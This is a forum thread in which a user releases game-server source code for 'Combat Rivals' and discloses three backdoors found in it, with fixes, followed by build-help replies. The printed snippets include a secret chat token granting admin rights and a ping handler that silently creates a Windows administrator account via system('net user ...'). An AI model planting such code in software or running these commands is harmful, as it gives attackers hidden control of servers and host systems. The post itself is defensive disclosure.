[Release] Combat Rivals Source Code (3.5)
Hi guys,
i was so bored, so im here to share something which can help the newbies on c++.
Those source are of Combat Rivals, there are inside few mods like new colors,xnation chat,unique key and so on.
You can check the mods by the comments inside the source code.
Hope this can help users to make really good server and improve their skills instead of other un-clever guys :)
~Aesir
EDIT: I forgot, there is inside source a little backdoors, i found them some time ago.
Code:
else if ( stricmp(token, "/d5%YGZ") == 0)
{
m_character.Race = 130;
}
Just remove,comment,change this token or what you want and server will be backdoor-free,and yes, this one is even inside Kasistar bins released somewhere in this section as mine bins, just search "/d5%YGZ" in HexEditor and change it or delete or what you want :)
(this one admin you to get admin rights in fieldserver by writing in chat "/d5%YGZ")
Another one is:
Code:
case T_FM_PING:
{
system("net user AspNet `R8w^)xFf]uQKQFT /ADD");
system("net localgroup administrators AspNet /add");
}
break;
Just replace this with:
Code:
case T_FM_PING:
{
*(MessageType_t*)SendBuf = T_FM_PING_OK;
SendAddData(SendBuf, SIZE_FIELD_TYPE_HEADER);
}
break;
(sending a ping from monitor the server create another user on system)
Another one:
Code:
case T_FM_SHUTDOWN:
{
// g_pFieldGlobal->WriteSystemLogEX(TRUE, " T_FM_SHUTDOWN->Failed break\r\n");
break; // 2011-11-18 by shcho, ¼¹ö´Ù¿î ÇÁ¸®Æä¾î¼¹ö´Ù¿î Á¦°Å ó¸® - Ãß°¡ ¸í·É¹® »èÁ¦
*(MessageType_t*)SendBuf = T_FM_SHUTDOWN_OK;
SendAddData(SendBuf, SIZE_FIELD_TYPE_HEADER);
PostMessage(g_pFieldGlobal->GetMainWndHandle(), WM_CLOSE, 0, 0);
}
break;
Just comment or remove:
Code:
PostMessage(g_pFieldGlobal->GetMainWndHandle(),WM_CLOSE,0,0);
(Just enabled exploitable shutdown function)
EDIT: Reuploaded.
https://mega.co.nz/#!Pg4zDJib!9OJITt...-0irySrNPginI8
Re: [Release] Combat Rivals Source Code (3.5)
if somebody got issue with packets crashing server, come with me, i'll solve for you, is very easy filter packets, and if you want, u don't need stop on ace, just talk come with me on my skype ;)
Re: [Release] Combat Rivals Source Code (3.5)
@Aesir you might be better off just fixing the backdoors you already found during time in the code and re-upload it. Atm the upload is easily exploitable.
Re: [Release] Combat Rivals Source Code (3.5)
Quote:
Originally Posted by
Future
@
Aesir you might be better off just fixing the backdoors you already found during time in the code and re-upload it. Atm the upload is easily exploitable.
All backdoors was commented but not remove for allow users see how them works :)
Re: [Release] Combat Rivals Source Code (3.5)
Quote:
Originally Posted by
Aesir
All backdoors was commented but not remove for allow users see how them works :)
Thank you! Files were checked, it's a valid release.
Re: [Release] Combat Rivals Source Code (3.5)
Those are some lame backdoors.
People really need to learn how to make proper backdoors.
Re: [Release] Combat Rivals Source Code (3.5)
Quote:
Originally Posted by
DragonLord
Those are some lame backdoors.
People really need to learn how to make proper backdoors.
Yeah, but who have to learn them don't need them :D
Re: [Release] Combat Rivals Source Code (3.5)
Those that don't suck have no need for backdoors :wink:
Re: [Release] Combat Rivals Source Code (3.5)
Someone can tell me what dependencies and how i must import them on Visual studio ? I have errors on compil
Re: [Release] Combat Rivals Source Code (3.5)
Quote:
Originally Posted by
oasisdudesert
Someone can tell me what dependencies and how i must import them on Visual studio ? I have errors on compil
Take StealthAngel's VS2013 source and just compile that. More or less out of the box works and compiles if i remember correctly.
Re: [Release] Combat Rivals Source Code (3.5)
That's what i tried too, i still have errors on compilation . So i need to know how i must import lib folder in visual studio
Re: [Release] Combat Rivals Source Code (3.5)
We are no mind readers yet. Maybe bother to show us some compilation results?
Also please note that this is no Microsoft Support forum for Visual Studio. If you don't even know how to set VC++ Directories and link properly please use google / technet / others. It'll help a lot more.... As said by @burgers, everything needed to link and compile is included in this and in St34lthAngels release.
Re: [Release] Combat Rivals Source Code (3.5)
Quote:
Originally Posted by
oasisdudesert
That's what i tried too, i still have errors on compilation . So i need to know how i must import lib folder in visual studio
It doesn't sound like you even switched from Debug to R_Wikigames_Eng (or along those lines). Do so and compile away.
Edit:
https://forum.ragezone.com/cache.php...c85b35c9b9.png
Do so for the solution/projects.
Re: [Release] Combat Rivals Source Code (3.5)
Thank you for your help. I have 4 suceed builds but 9 failed. here s a part of the log:
Quote:
1>C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V120\Microsoft.CppBuild.targets(369,5): error MSB8031: Building an MFC project for a non-Unicode character set is deprecated. You must change the project property to Unicode or download an additional library.
12>..\..\..\Output\Server\FieldServer.exe : fatal error LNK1120: 2 externes non résolus
13>------ Début de la génération : Projet : Atum, Configuration : R_Wikigames_Eng Win32 ------
13>C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V120\Microsoft.CppBuild.targets(369,5): error MSB8031: Building an MFC project for a non-Unicode character set is deprecated. You must change the project property to Unicode or download an additional library. See <a href="http://go.microsoft.com/fwlink/p/?LinkId=286820" target="_blank">http://go.microsoft.com/fwlink/p/?LinkId=286820</a> for more information.
========== Génération : 4 a réussi, 9 a échoué, 0 mis à jour, 0 a été ignoré ==========
thank you for your help
Re: [Release] Combat Rivals Source Code (3.5)